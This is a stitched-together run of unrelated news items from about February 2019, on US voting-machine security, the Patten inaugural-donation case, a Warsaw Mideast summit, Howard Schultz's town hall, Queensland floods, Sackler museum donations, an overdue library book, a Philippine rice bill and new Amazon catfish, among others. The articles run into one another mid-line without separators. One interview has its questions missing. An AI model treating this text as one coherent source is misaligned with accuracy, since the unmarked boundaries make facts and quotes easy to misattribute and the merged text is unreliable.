"There are some elections officials searching on eBay for replacement parts for systems that are no longer supported by manufacturers," according to Padilla's prepared testimony. "Others are utilizing operating systems that are so old, their vendor no longer provides tech support - meaning some voting machines cannot be patched or updated with the latest security software. Simply put, too many elections officials are ill equipped to defend against 21st century threats."A GOP political consultant who admitted steering $50,000 from a Ukrainian politician to President Donald Trump's inaugural committee will face sentencing April 12, a judge ordered Wednesday, after signs the committee is the subject of a deepening criminal investigation.

W. Samuel Patten, 47, agreed to cooperate with prosecutors after pleading guilty Sept. 1 to failing to register as a foreign lobbyist while working on behalf of a Ukrainian political party. That was the first public confirmation that illegal foreign money was used to help fund the January 2017 event.

U.S. District Judge Amy Berman Jackson set the April sentencing date after receiving sealed case updates Dec. 29 and Feb. 11 by prosecutors with the U.S. attorney's office for the District, which received the case on referral from special counsel Robert Mueller.

Prosecutors' willingness to move to sentence Patten may be a sign that their need of assistance from the former Republican campaign aide and foreign policy consultant is coming to a close.

As part of his plea deal, Patten agreed to assist the government. His cooperation included information about help he allegedly received from Konstantin Kilimnik, a Russian who prosecutors allege has ties to Russian intelligence and who also aided former Trump campaign chairman Paul Manafort in Manafort's political consulting work in Ukraine.

Patten said in court documents that he arranged for an American citizen to act as a "straw donor" to give $50,000 in exchange for four tickets to Trump's inauguration in place of a Ukrainian businessman, who as a foreigner was barred from contributing to the event.

On Feb. 4, federal prosecutors in Manhattan delivered a sweeping subpoena for documents related to donations and spending by the nonprofit inaugural committee, including all information related to donors, vendors, contractors, any foreign contributors and its bank accounts.

The nonprofit committee raised $100 million. Only U.S. citizens and legal residents can legally donate to a committee established to finance presidential inaugural festivities.

The subpoena indicated prosecutors are investigating crimes related to conspiracy to defraud the United States, mail fraud, false statements, wire fraud and money laundering.

Patten attorney Stuart A. Sears and a spokesman for the U.S. attorney's office declined to comment beyond the information in the court docket.

Patten in his plea acknowledged forming a company with a Russian, identified as "Foreigner A" in court filings, whose description matches Kilimnik's, to engage in lobbying and political consulting services. In a 2017 statement to The Washington Post, Kilimnik denied any connection to Russian intelligence and has not responded to recent requests for comment.

The company has received about $1 million since 2015 for its Ukraine consulting work, which included advising a Ukrainian party known as the Opposition Bloc, as well as some of its members, one of whom is a prominent Ukraine businessman identified only as "Foreigner B."

The description of "Foreigner B" matches Serhiy Lovochkin, a Ukrainian businessman and politician who served as a top aide to former Ukrainian president Viktor Yanukovych, a pro-Russian politician who was Manafort's chief client.

Patten told prosecutors that he worked with Kilimnik to help Lovochkin route the illegal donation to Trump's inauguration. As a result of the donation, four tickets to Trump's festivities were allocated to the three men and another Ukrainian; prosecutors said Lovochkin attended the event with Patten.

Lovochkin's office has said he attended the inauguration but didn't make the $50,000 payment.WARSAW, Poland - Arriving in Poland to host an international conference on Middle East peace and security, Secretary of State Mike Pompeo announced Tuesday that more than 30 foreign ministers would attend.

As a measure of its prospects, however, many countries have signaled that they will not be sending their top diplomats to the meeting - possibly nearly half.

As Pompeo and Vice President Mike Pence prepare to welcome representatives of about 60 nations to Poland, co-host of the event, it is unclear what can be accomplished in a day of meetings over conflicts that have roiled the region for many years.

What Pompeo originally billed as a major conference to pressure Iran on its regional influence, missile testing and terrorism is now as likely to be defined by what it is not - and who is not coming. Several key countries appear to be engaging in a subtle diplomatic snub to protest the Trump administration's policies toward Iran and Syria.

Scratch Federica Mogherini, the foreign policy chief for the European Union, who said she had a prior commitment. France and Germany are sending second-tier-level diplomats. Russia won't be there at all. And the British foreign secretary may leave early.

The muted response to an ambitious White House endeavor is partly due to concern that Pompeo and Pence would unleash a full-throttle rhetorical attack on Iran. Europeans have created a special barter-type trading system to work around U.S. sanctions reimposed on the country after Trump withdrew from the 2015 nuclear deal last year.

After some countries expressed concern about the anti-Iran focus of the conference, Pompeo telephoned several of his counterparts urging them to attend, according to foreign officials.

But since Pompeo's announcement of the conference during a trip to the Middle East last month, the administration has backtracked to a degree on what it aims to accomplish. The acting U.S. ambassador to the United Nations, Jonathan Cohen, explicitly told the U.N. Security Council it is not "a venue to demonize or attack Iran."

Instead, the agenda has expanded to include discussions on the war in Yemen, the Syrian civil war and the Israeli-Palestinian conflict. Despite the extra items, the two-day conference has meetings only on Thursday, with Wednesday's sole event a welcome dinner.

Pompeo shrugged off the foreign minister no-shows and said he hopes much progress can be made. President Donald Trump's son-in-law and adviser, Jared Kushner, will offer hints of the status of a peace plan he has worked on for almost two years, with a preview of the rollout that has been delayed until after Israeli elections this spring.

"I think we're going to deliver really good outcomes," Pompeo said. "Some countries are having their foreign ministers come. Other countries are not. That's their choice. But this is going to be a serious concrete discussion about a broad range of topics that range from counterterrorism to the malign influence that Iran has played in the Middle East towards its instability."

Senior officials in the administration see reining in Iran as a necessary step in bringing about a broader Middle East peace plan that helps integrate Israel into the region. Israel considers Iran its major threat, and most Persian Gulf countries see the Shiite nation as their chief rival for influence.

The administration has been pressuring Arab allies, particularly in the Gulf, not only to support the still-undisclosed plan - which Trump has characterized as the "deal of the century - but also to persuade the Palestinians to accept it. One pressure point would be for the Gulf states to indicate they are prepared to establish a relationship with Israel.

Saudi Arabia, several other Gulf countries and Israel will be at the conference. The Palestinian Authority and Lebanon, where Iranian-backed Shiites hold political power, will not. Neither will Iran, which has denounced the conference as a "desperate anti-Iran circus."

That suggests that one measure of a successful outcome would be a photograph of Israeli Prime Minister Benjamin Netanyahu together with Gulf Arabs.

Mark Dubowitz, head of the Foundation for Defense of Democracies and a critic of the nuclear deal with Iran, said it is advantageous to bring more countries on board to counter Iran. He said it should not be the sole province of the "P5 plus 1" countries - the United States, Britain, Russia, France and China, plus Germany - that negotiated the nuclear agreement with Iran.

"I think we got too used to the idea during the Obama administration and the Bush administration that the only way to solve the challenge of Iran is through six countries," he said. "And that six countries need to be at the adult table, and everybody else is at the kids' table.

"The P5 plus 1 was leading to diplomatic paralysis."

A head of the no-show ministers could underscore the divisions between the United States and its European allies over Iran. Standing beside Pompeo at a news conference Tuesday evening, Polish Foreign Minister Jacek Czaputowicz pointedly said Poland considers the nuclear deal with Iran "a valuable element in the international arena."

"The United States has a different opinion," he acknowledged, but added: "That will not hinder us in looking for a common approach."A suicide attack struck a bus carrying members of Iran's Revolutionary Guard, killing as many as 20 personnel of the elite corps.

The bus was traveling on a highway near the town of Chanali in Iran's southeastern Sistan-Baluchistan province, the state-run Fars news agency reported Wednesday citing officials it didn't name. Ten others on board the bus were wounded, the agency said. It described the passengers as "shift personnel," but didn't provide any details of their rank.At the start of the town hall CNN gave Howard Schultz on Tuesday night, anchor Poppy Harlow promised, "We're going to talk about all the issues, because that's what this is about."

Unfortunately, Schultz spent the next hour studiously avoiding taking a position on much of anything.

The former Starbucks CEO and potential independent presidential candidate's performance was almost a caricature of an independent candidate trying to say nothing except that the two major parties were doing it wrong. Harlow, to her great credit, repeatedly noted that he was skirting the questions and not talking about his own proposals.

But Schultz would not be deterred from his anodyne generalities and platitudes. The guy who recently told CNBC that he didn't "want to talk in the hypothetical about what I would do if I was president" very much stuck to that line.

When he was asked what he would do about climate change, he almost immediately shifted to attacking Rep. Alexandria Ocasio-Cortez's (D-N.Y.) "Green New Deal" as pie in the sky. "Let's be sensible about what we're suggesting," he said. "Let's not just throw stuff against a wall because it's a good slogan or we get a press release."

He declined, however, to offer up any of his own proposals.

On taxes, he said he was in favor of higher taxes on wealthy people like him. But how much higher? He wasn't sure. "I don't know what the number is," he said twice as Harlow sought even just a "ballpark" figure. He attacked Ocasio-Cortez's idea to tax income beyond $10 million at 70 percent as a "punitive number." Eventually Harlow asked him "is it higher than 2 percent more, for example?" Schultz finally committed, sort of: "I think it is."

Asked whether China was an ally or an enemy, he chose neither but attacked President Donald Trump's trade war. Asked what his illegal immigration plan was, Schultz attacked Democrats for wanting to abolish ICE and Republicans for separating families at the border, but he committed only to a path to citizenship.

On health care, Schultz attacked Republicans for going after Obamacare and Democrats for wanting Medicare-for-all, but all he would propose is more competition, easy access to care and cheaper prescription drugs. Those are all things that people like. In fact, they're all goals Trump has advocated. But they're goals, not proposals.

"How, specifically?" Harlow prodded on health care policy. "Because I think so many people here hear that, but they say that is what Congress has been trying to do or talking about doing?"

Schultz's response: "Respectfully, it's not what Congress had been trying to do." But he didn't say what it should be.

The most telling exchange might have been on the Veteran Affairs Department. Schultz described it as a bloated, inefficient $200 billion bureaucracy and promised he would do everything he could. But he didn't actually say what that was. And Harlow called him out:

HARLOW: "Mr. Schultz, you have diagnosed a problem. It's a problem we all know exists, and it's a tragedy and a travesty. What would you do to fix it?"

SCHULTZ: "OK, what - what I would do to fix it, first off, is diagnose the problem. And diagnosing the problem is that we have layers and layers and layers of government bureaucracy. No one knows who's in charge. There's no transparency of records. Veterans are waiting weeks and months for prescription drugs. There's all kinds of problems.

"You have to put the quality people in charge with accountability to the president. The president of the United States is not concerned about the VA That is not what he's worried about. He talks a great deal about his support of veterans, but doesn't do much other than when the cameras are on.

"I will fix the VA, because it's about leadership, it's about character, and it's also about the temperament of humility to listen to people who are smarter than you, who have more experience than you, to help solve this problem.

"So it's really about leadership. It's about character. And it's about results and accountability. I will be accountable. And I - if I run for president, I promise you, I will fix the VA."

Leadership and accountability. Why hasn't anybody thought of this before?

It's no secret that politicians strive to avoid the questions they are asked. Taking a firm stance means potentially alienating supporters. So when you can speak in generalities about your goals and avoid proposals that might come back to bite you, you do it.

But there's a difference between skirting really tough and divisive issues and basically having no guiding principle or message. Perhaps we shouldn't expect Schultz to have all this stuff nailed down, given that, as he noted, he only dipped his toe in the water a few weeks ago. But you'd think he would have some sense of what he'd like to do. What we saw Tuesday night were almost purely buzzwords along with policies that he opposes.

To sign up for an hour-long CNN town hall about the issues and then not really talk about how you would address them is a pretty bad omen for a potential campaign to come.Many might not realize that seven states still recognize a law that effectively allows a spouse to sue anyone who may have played a part in ending their marriage.

So, for residents in Hawaii, Illinois, New Mexico, North Carolina, Mississippi, South Dakota, and Utah, the alienation of affection claim is an option.

Now, alienation of affection isnt something new, in fact, its been around since the 17th century in England, according to Washington Post.

The law was based off the notion that a man owned his wifes affection, and so if someone stole it away then they would be legally responsible.

But, because of the archaic notion behind the law, most states got rid of it. In 1992, the Kentucky Supreme Court affirmed, according to the Washington Post, that affection between spouses cannot be owned.

For the seven states that kept the law, it is still a basis for civil complaints, and it has been used.

In 2011, a woman was forced to pay another woman, who was married, $30 million dollars for reportedly breaking up the marriage.

As early as the summer of 2018, a man sued another man for a similar issue and was ordered to pay $8.8 million.

A law firm in North Carolina, McIlveen Family Law Firm, has an entire page dedicated to reminding potential, or current, clients about this option. Titled Calling all homewreckers, the page describes how a homewrecker doesnt have to be a lover. In fact, it can be a meddling in-law or therapist, to name a couple of examples.

There are two different claims under the Alienation of Affection and only one requires sex be involved. McIlveen Family Law Firms website says a criminal conversation must be brought against the spouses lover, or paramour, for it to different from the other claim. Essentially, this claim proves that the paramour is the sole reason for the marriage ending.What began as welcomed rain after several years of crippling drought in Australia turned into a catastrophe after record-breaking downpour flooded the northeastern coast, killing hundreds of thousands of cattle, wiping away the livelihood of many farming communities, and threatening one of the country's vital industries.

Nearly 50 million acres of land in the state of Queensland was inundated this past week. By late last week, officials said two years worth of rain had drowned swaths of land that, not too long ago, were parched. Parts of Queensland, particularly the coastal areas, saw more than 11 inches of rain last week.

Officials estimate that more than 300,000 herd cattle were killed, though that number could rise. One producer who normally has about 70,000 cattle has found only 1,000 as of last week, officials said.

Countless carcasses, many huddled together in mud, have been discovered as water began to recede. Officials "were literally ferrying one barrel of hay at a time" to feed surviving cattle that have been isolated by floodwater, Georgie Somerset, general president of Agforce Queensland, which represents farmers, said at a news conference.

"The speed and intensity of the unfolding tragedy makes it hard to believe that it's just a week since farmers' elation at receiving the first decent rains in five years turned to horror at the devastating and unprecedented flood that quickly followed," Michael Guerin, AgForce Queensland's chief executive, said in a statement Monday.

Many farmers, Guerin said, have not only lost their livelihood, but are also left with crippling debt.

"What I'm concerned about now is the next two to five years and how we support these people to actually get back on their feet to restock their companies, to rebuild their infrastructure to rebuild fences ... and get their businesses back and running," Somerset said.

Australia's economy relies heavily on its cattle herds, majority of which are raised in Queensland. It's the world's third largest beef and veal exporter in 2017. That fiscal year, the country exported about 1 million tons of beef and veal to 78 countries, including Japan, the United States, South Korea, China and Indonesia.

The Queensland government has given more than $100 million in aid, in addition to $3 million in mental health services for flood victims.

In flood-stricken Townsville in northern Queensland, floodwaters have heightened risks for illnesses. One woman has died of a rare bacterial infection called melioidosis, which is caused by bacteria commonly found in soil, the Sydney Morning Herald reported. There have been nine other cases of melioidosis since the flooding.

In a news release Wednesday, Queensland government officials said the disaster has affected 30 localities across the region and vowed to help with recovery.

Australia has been at the epicenter of weather extremes, having recently endured its hottest January in recorded history. The continent's climate has warmed by about 2 degrees since 1910, leading to more frequent heat waves and severe drought conditions, according to the Bureau of Meteorology. Eight of Australia's top-10 warmest years on record have come in the past 13 years.

Last month, a multiweek heat wave parched the landscape in South Australia, triggered damaging wildfires and toppled significant records. Temperatures soared to 116 degrees in Adelaide, South Australia. In the southeastern corner of the country, overnight temperatures were as high as 96 degrees at one point last month - the warmest overnight lows for January anywhere in the world. Near Santa Teresa in the Northern Territory, more than 50 wild horses dying of starvation and dehydration were euthanized.

By early February, monsoon rains have caused record-level flooding in the northeastern part of the country.

- - -

The Washington Post's Angela Fritz contributed to this article.Atascocita High School experienced a major drop of attendance on Feb. 1, the day after 17-year-old Mikael Neciosup allegedly shot a 16-year-old student.

About 58 percent of the AHS student population were accounted for on Feb. 1 compared to its 2018 attendance attendance of about 94 percent that same day.

Because of the low attendance that day, the Humble ISD Board of Trustees approved to send a low attendance waiver to the Texas Education Agency.

School districts can request a waiver to excuse any instructional day that has attendance at least 10 percentage points below last school years overall attendance rate for that day, according to the TEA website. School districts that have experienced inclement weather, health or safety issues can submit a waiver.

"Given the circumstances, TEA Commissioner Mike Morath reached out to Dr. Fagen, calling her to express support and indicate that a waiver would be approved, Jamie Mount, Humble ISD Public Communications Director, said. The waiver means that state funding will not be reduced for Feb. 1 even though attendance was low. Humble ISD understood that some families chose to keep their children home on Feb. 1 because the incident that occurred the night before was upsetting and unusual.

kaila.contreras@chron.comA woman has been accused of shooting a man in the face with a BB gun during a supposed road rage incident in central Laredo.

Mary Castillo, 21, was charged with aggravated assault with a deadly weapon.Schenectady

A life-size bronze statue of Harriet Tubman and William Henry Seward commissioned by a group of Schenectady boosters to celebrate diversity and highlight a little-known friendship between the escaped slave and the statesman has undergone a trial by fire.

When a fast-moving blaze on Nov. 1, 2017, destroyed Dexter Benedict's barn that housed his foundry and sculpture studio in the Finger Lakes, everything was lost: clay, tools, equipment and several large-scale sculptures in progress.

The life-sized molds of Tubman and Seward, nearly completed, were twisted and ruined by the intense heat of the fire at his rural Yates County property, exacerbated by exploding propane tanks used in the foundry.

"I was in complete shock after the fire. Absolutely everything was destroyed," said Benedict, 74, who has been making monumental statues of historical figures for decades, including inventors Thomas Edison and Charles Steinmetz in Schenectady.

Benedict had to start over from scratch after the devastating loss. He built a new barn studio, purchased new equipment and resumed work after a forced hiatus of months. He pushed back the delivery dates of his sculpture commissions a year.

On May 17, a dedication ceremony will be held at the remade bronze statue of Tubman and Seward. It will be installed in front of the Schenectady County Library at the corner of Clinton and Liberty streets across from City Hall during a dedication ceremony.

"We are so grateful that Dexter decided to rebuild his studio and foundry and to start all over again," said Frank Wicks, an emeritus mechanical engineering professor of Union College. Wicks paid for half of Benedict's $62,000 commission fee and is soliciting donations to fund the balance. He refused to let the setback of the fire or other obstacles derail the sculpture project he passionately pursued for more than a decade.

Wicks, 79, taught at Union for 30 years before his retirement in 2018. He was well aware of the political legacy of Seward, who graduated from Union College in 1820 and served as New York governor, U.S. senator and secretary of state under Abraham Lincoln and Andrew Johnson. Seward is perhaps best remembered for negotiating the purchase of the Alaskan Territory from Russia in 1867. His stature as a statesman grew as a result of Doris Kearns Goodwin's 2005 bestselling book, "Team of Rivals."

During a 2000 visit to the Seward House Museum in Auburn, Cayuga County, with his wife, Dawn, the couple happened upon the Harriet Tubman Home about a mile away. "We were surprised by the proximity and wanted to know why," Wicks recalled.

More Information Contact Paul Grondahl at grondahlpaul@gmail.com See More Collapse

Seward, a staunch abolitionist, took a rather radical step in 1859 that cost him politically. He flouted the law and sold some of his property to Tubman on very favorable terms and helped Tubman, an escaped slave, set up a homestead there on the city's outskirts. The next year, Seward lost the presidential nomination of the Republican Party to Lincoln.

Tubman was born into slavery in Maryland in 1822. She escaped to the north and gained her freedom in 1849. She was an outspoken abolitionist who helped dozens of slaves escape bondage as a prominent "conductor" on the Underground Railroad. She was dubbed "the Moses of her people." The Underground Railroad included a stop in Albany's Arbor Hill at the Livingston Avenue home of Stephen and Harriet Myers. Seward financially supported the Myers' efforts in Albany.

In 1858, Tubman helped runaway slave Charles Nalle escape from his captors in Troy. She helped Nalle flee across the Hudson River to Watervliet, where Nalle was recaptured. Tubman helped him break free a second time and assisted his passage through Schenectady to safety in Niskayuna, before helping Nalle buy his freedom for $650.

After the Civil War, Tubman welcomed poor and elderly black people into her home in Auburn. She was in her early 90s when she died in 1913 and is buried at Fort Hill Cemetery, where Seward, who died in 1872 at age 71, is also buried.

"Biographies of Seward and Tubman include very little about their friendship," Wicks said. "We thought it was important to celebrate the ways in which their lives intersected and lessons we can take away today from them."

Although there are statues of Seward in several states, including New York and Alaska, the Tubman-Seward pairing is unique. "This shows the human side of Seward that goes beyond his political accomplishments," Wicks said.

Wicks was disappointed that Union College administrators were not receptive to installing the statue on campus, because Tubman did not attend the school. Wicks and fellow emeritus Union professors Carl George and Twitty Styles, who were key supporters, are pleased that it will end up in front of the public library.

The two friends from Auburn  Seward holding a walking stick and Tubman clutching a shepherd's staff  will be anchored to a rough-hewn slab of dolomite from a Mohawk Valley quarry. The simple inscription will read: "William Seward and Harriet Tubman. Leaders for freedom, diversity and friendship. Gift by the people for the people."

Wicks is proud of the fact that it will be the first statue of an African American in Schenectady.

Benedict praised the generous spirit of selflessness of his Mennonite neighbors, who helped the bronze statue of Tubman and Seward rise from the ashes. "The sculptures were given a new life and I think they came out even better the second time," the sculptor said.

Paul Grondahl is director of the New York State Writers Institute at the University at Albany and a former Times Union reporter. He can be reached at grondahlpaul@gmail.com.When the Smithsonian opened the Arthur M. Sackler Gallery in Washington, D.C., in 1987, its namesake was hailed as a philanthropist and connoisseur who had amassed one of the world's greatest collections of Asian art.

Now the Smithsonian is one of several blue-chip cultural institutions dealing with the blowback from the Sackler family's other legacy - the American opioid crisis.

The most dramatic of these recent demonstrations occurred last weekend, when viral videos showed hundreds of activists chanting, "Shame on Sackler" inside the Guggenheim Museum, as they rained fake prescriptions through the cavernous atrium, where empty pill bottles rolled on the floor in protest of the family at the center of the ongoing public health epidemic.

The Sackler name is displayed in museums worldwide in recognition of gifts made by Arthur Sackler; his brothers, Mortimer and Raymond; and, after their deaths, their heirs. For more than five decades, individually and jointly, Sackler family members have donated to New York's Metropolitan Museum of Art, the Guggenheim, the American Museum of Natural History and the Dia Art Foundation. There's a Sackler gallery at the Princeton University Art Museum and Sackler museums at Harvard University and Peking University in Beijing.

The family and its foundations also have donated to European cultural institutions, including the Louvre in Paris, and London's Royal Academy, the Victoria and Albert Museum, the National Portrait Gallery, the Tate Modern and the Old Vic theater. They have supported science education and research, with schools, institutes and centers named for them at Tufts, Cornell, New York and Yale universities, among others.

But the Sackler name is becoming increasingly tied to the opioid crisis, thanks to the efforts of activists who have spotlighted the source of Mortimer and Raymond Sackler's wealth: the pharmaceutical giant Purdue Pharma, which since 1996 has manufactured and marketed the highly addictive painkiller OxyContin. Lawsuits have been filed, and protesters have used social media and demonstrations to raise awareness of what they call tainted donations. Students and arts advocates have called on the museums to renounce the donors and remove their names from their buildings.

Three decades after Arthur Sackler's death, his family's legal problems and deteriorating public image are proving to be a grave threat to his cultural legacy.

---

Arthur Sackler, who died four months before the Sackler Gallery opening, had donated 1,000 works worth an estimated $50 million to the Smithsonian, along with $4 million for a museum to house them. His gift created a world-class center of Asian art and culture adjacent to the Freer Gallery of Art, which opened on the National Mall in 1923 to showcase the collection of Detroit businessman Charles Lang Freer.

Sackler made his fortune as a physician and medical marketer who popularized Valium and other drugs through direct advertising to doctors. In the 1960s, he became publisher of the Medical Tribune, a weekly newsletter to doctors. He was posthumously inducted into the Medical Advertising Hall of Fame. The Sackler brothers bought Purdue Frederick Co. in 1952, and Raymond and Mortimer bought out Arthur's one-third share after his death. Purdue Pharma was formed in 1991.

In 2007 - 20 years after Arthur Sackler's death - Purdue Pharma and three of its executives pleaded guilty to misleading doctors about OxyContin's potential for abuse and paid more than $600 million in fines. But recent lawsuits for the first time name members of the family that profits from the company with participating in the deception. The Centers for Disease Control and Prevention estimates that 400,000 Americans died of opioid overdoses between 1999 and 2017. Not all were related to OxyContin.

Controversial donors are not a new phenomenon - think of the robber barons Andrew Carnegie, John D. Rockefeller and Henry Clay Frick - but they have become increasingly problematic in today's polarized climate. Consumers boycott products advertised on television shows they don't like, and alumni pressure universities to rename buildings paid for by disgraced donors. Concerns about income inequality have challenged the very notion of allowing billionaires to gild their reputations by making tax-deductible gifts that result in their names being etched in stone.

Public opinion is divided about whether the money should be returned or the names removed. But observers all agree - the problem is only getting worse.

"It is more difficult and more salient now because we are more aware of built-in inequities," said Amir Pasic, dean of the Lilly Family School of Philanthropy at Indiana University. "Putting people's names on a building in today's atmosphere seems to be giving people of privilege something extra. We're more allergic to elevating some people over others."

Outrage over the source of the Sacklers' wealth and what some view as their complicity in the epidemic have led to guerrilla protests by the anti-opioid group Prescription Addiction Intervention Now (PAIN). On Saturday at the Guggenheim, they launched a surprise protest - as they did last year at Harvard, the Met and the Smithsonian.

Photographer Nan Goldin, who started PAIN after she says she became addicted to OxyContin, has spent the past year calling on arts institutions to remove the Sackler name, publicly denounce the family and refuse future gifts. The group's protest at the Guggenheim, home to the Sackler Center for Arts Education, funded by a gift from the Mortimer D. Sackler Family, was one of its largest.

"We're raising awareness. It's getting out there," Goldin said.

A Purdue Pharma spokesman said the company continues to support initiatives in law enforcement, education and health care aimed at addressing the opioid crisis. It says its opioid medications account for less than 2 percent of all opioid prescriptions.

"Purdue Pharma is deeply concerned about the toll the opioid addiction crisis is having on individuals and communities across the nation, and we are committed to working collaboratively with those affected by this public health crisis on meaningful solutions to help stem the tide of opioid-related overdose deaths," the spokesman said in a statement.

---

The issue of toxic donors is even more complicated in the case of the Sackler family, which is worth an estimated $13 billion. Its three branches and multiple generations are often - and, according to some descendants, unfairly - lumped together as a single entity.

"It is a gross injustice to blame my late husband, Arthur Sackler, for the public health crisis surrounding opioids," Jillian Sackler, who continues to support the Sackler Gallery, said in a statement Monday to The Washington Post. "Arthur was never involved in Purdue Pharma, a company owned by his brothers Mortimer and Raymond and their families; he had nothing to do with OxyContin.

"This drug came onto the market nearly a decade after Arthur's death in 1987. He never profited from it, nor is his estate named in any lawsuit. Not a penny of his philanthropy derived from the sale of OxyContin, and it is a disservice to the institutions he founded to suggest otherwise. Arthur would be horrified to see how this drug has been misused and would be working to find solutions."

Smithsonian officials said that the gift agreement with Arthur Sackler, signed in 1982, included naming rights in perpetuity and that they had no plans to remove the name or return the donated money or art.

"We give careful consideration to the process of naming," Smithsonian spokeswoman Linda St. Thomas said in a statement. "The museum was named in recognition of Sackler's generous gift to the Smithsonian. The donation agreement requires the Smithsonian to designate the facility as the Arthur M. Sackler Gallery in perpetuity."

The museum's director, Chase F. Robinson, declined to comment.

Since her husband's death, Jillian Sackler has been a significant donor to the gallery, contributing more than $6 million, including a donation last year. Other gifts from the family include $1.4 million from the Arthur M. Sackler Foundation, run by Arthur's daughter, Elizabeth, and $88,000 from Theresa Sackler, Mortimer's widow, whose most recent gift was 2016, according to the Smithsonian.

While standing by the Sackler name, the Smithsonian no longer accepts naming gifts in perpetuity. In 2011, at the launch of a national fundraising campaign, it adopted a policy that limits naming of spaces to a "term of 20 years or until the next major renovation," St. Thomas said.

Institutions have several options when faced with problematic gifts, said Pasic, the Indiana University dean.

"Should they consider a new name? Would it be appropriate to give the money back in some way? There are no easy answers," Pasic said, adding that families with multiple branches and generations make the situation that much more complicated.

"What do you do? Decide these are the bad Sacklers, these are the OK Sacklers?"

A thoughtful discussion is required, he said, one that focuses on the changing perceptions of the donors and changing attitudes of constituents.

"It goes to the core of the identity of the institution. This is a different era. A different time."Don't blame Marie Kondo. Mora Gregg, a retired librarian in Toronto, was simply dusting a bookshelf in her one-bedroom apartment last month when she happened upon an item she'd been hanging on to for a bit longer than Ms. Kondo might recommend.

Slipped behind other books was a lovingly worn copy of the 1929 children's book "The Postman," by Charlotte Kuh. Gregg's mother had checked it out of a Silver Spring, Md., library in 1946, when Gregg was a toddler.

Nearly 27,000 days past its due date, Gregg, now 75, decided to return it.

"I really love that book," she said by phone. Though the words "Property of Silver Spring Library" are stamped on its inside cover, this "was the first time it came to my consciousness that it was overdue," she said. "I never thought about it, or if I had, I was just too busy to do anything about it."

This time she did. She sent the book, along with an apologetic note, back to Silver Spring. "I was just expecting a thank-you note," Gregg said.

She got a lot more than that. News of the book's return traveled quickly across the web, and Gregg has been fielding calls from the media since. "All I did was return an overdue book!" said Gregg, who was relieved to learn that she was not responsible for a fine. Montgomery County does not collect overdue fees on children's books (anyway, it caps fines on other books at $15).

Gregg, who left the Washington area in 1946 for London, Ontario, where her father worked in the scrap-metal business, says she remembers reading the book hundreds of times, often with her mother, who took her to the library weekly. In Canada, Gregg was allowed to check out only four books at a time, and she's pretty sure she returned them all promptly. (If she finds one behind another shelf, I'm sure we'll hear about it.) Gregg says she read "The Postman" to her daughter, who also became a librarian. (That's not the only thing that runs in her family. After her mother died, Gregg found an overdue copy of a Colette book in her house and returned it. Hidden behind the family mantle, Gregg later discovered an overdue library notice sent to her older brother.)

Illustrated by the noted children's artist Kurt Wiese, the book - a sweet tale of a very pre-Twitter age when the written word traveled by pneumatic tubes and horses - is out of print. Anita T. Vassallo, acting director of the Montgomery County Library system, said the county hadn't yet decided what it would do with the book. "It's in good shape ... but fragile," she said. "We may try to have it displayed in some way that is archival, perhaps at Silver Spring, or perhaps at our Noyes Library for Young Children."

Until Gregg's dusting discovery, the book was one of just a few on display in her apartment, where she lives on her own and has just two Ikea bookcases and a small stack of spillover. "When I buy a book, I get rid of a book," Gregg explained. "It's just a space thing. If I get rid of one that I miss, I go to the library." Luckily for Gregg, there's a copy of "The Postman" in a branch not far from her home, "and it's a fast read."

By phone, Gregg shared more thoughts on book collecting, library fines and why she's (trying) to return books more promptly now.

A: No, no. I live in a small apartment. I'm not a book collector, but because I'm a librarian, I've helped people clean out family libraries after someone has died, and after doing this three or four times, I started to get allergic to old book dust. I dust fairly often.

A: No. I think what they do in Montgomery County for overdue children's books is good. Anyway, I figured I could talk my way out of it.

A: Modest fines are an incentive to return or renew books for adult literature. I get fined all the time, and I pay up. Fines are always modest, but it does add to [a library's] coffers.

A: It happened a few times. People would retire and clean out their offices and find a library book they'd forgotten about. I considered it kind of normal. I'd check the collection to see if we still needed it and would send a thank-you note. I wouldn't fine them; we'd forgive the fine.

A: I could have! Then I thought, I could have put it on the market. But because of its condition, it would probably get thrown out. And I didn't want to see that happen.

A: About $5 probably, for a book I misplaced.

A: I have a few. "Fun Home," a graphic novel by Alison Bechdel (for book club), "The Red Car," by Marcy Dermansky and a couple of guides to Paris for an upcoming trip.

A: I haven't the faintest idea. I always ask for a library slip, which I promptly lose. I can always go online when I start to get worried about the due date. And if they want it back, they'll send me an email.

A: Yes!Denham Springs, LA (70726)

Today

Cloudy this morning. Scattered thunderstorms developing this afternoon. High around 90F. Winds S at 5 to 10 mph. Chance of rain 40%..

Tonight

Some clouds. A stray shower or thunderstorm is possible. Low 73F. Winds light and variable.Metro Manila (CNN Philippines, February 13)  Economic managers have sent a letter to President Rodrigo Duterte asking him to sign the bill that would replace rice import limits with tariffs in the wake of opposition from certain groups, Budget Secretary Ben Diokno said Wednesday.

"We just sent a memo to the President strongly urging the signing of the rice tarriffication bill. I understand there are some strong lobby for veto A veto is not possible, I think," he said during his weekly media forum.

The rice tariffication bill will lapse into law on Friday unless President Rodrigo Duterte vetoes it. Diokno said a veto is unlikely to happen.

The rice bill allows business and individuals to buy rice from foreign sources and just pay a 40 percent tariff. Tax proceeds will be used to develop the agriculture sector such as mass irrigation, putting up more rice storage facilities and conducting research to improve yield.

Agriculture Secretary Manny Pinol had said the bill can improve production through the annual 10-billion Rice Competitiveness Enhancement Fund. The fund will assist farmers in light of competition from foreign produce.

Presidential Spokesman Sal Panelo had also said the President will unlikely veto the bill since he believes it is "for the greater good."

Farmer groups have previously expressed opposition to the measure. They said it will "displace rice farmers and worsen food insecurity without solving the problem of expensive rice." Think tank IBON Foundation competitiveness fund will be insufficient to compete with rice producers from Vietnam, the United States, Thailand, Japan and China. Congress approved the rice tariffication bill in November 2018.

Duterte had previously certified the bill as urgent during his third State of the Nation Address in July of the same year.<em> Ancistrus kellerae </em>, is one of six new species of bristlenose catfish discovered in the Amazon.

With tentacle-covered snouts, claw-like spines that protrude from their heads and bodies covered in armor, these newfound catfish look more mythical than real.

Scientists just discovered six species of these creepy-cute fish, called bristlenose catfish (in the genus Ancistrus), in rivers of the Amazon, the researchers reported in the journal Zootaxa Wednesday (Feb. 12). [In Photos: The World's Largest Bony Fish]

"They're warriors, they're fish superheroes," lead author Lesley de Souza, a conservation scientist and ichthyologist at Chicago's Field Museum, said in a statement.

The tentacles are actually present only in males, and they function as a sort of "pick me, I'd be a good father" sign. Males also guard the nests and make sure predators don't snatch their babies.

"The idea is that when a female fish sees a male with these tentacles, to her, they look like eggs," de Souza said in the statement. "That signifies to her that he's a good father who's able to produce offspring and protect them." One of the newfound species, in fact, is named Ancistrus patronus, meaning "protector," in recognition of the care the males provide their offspring.

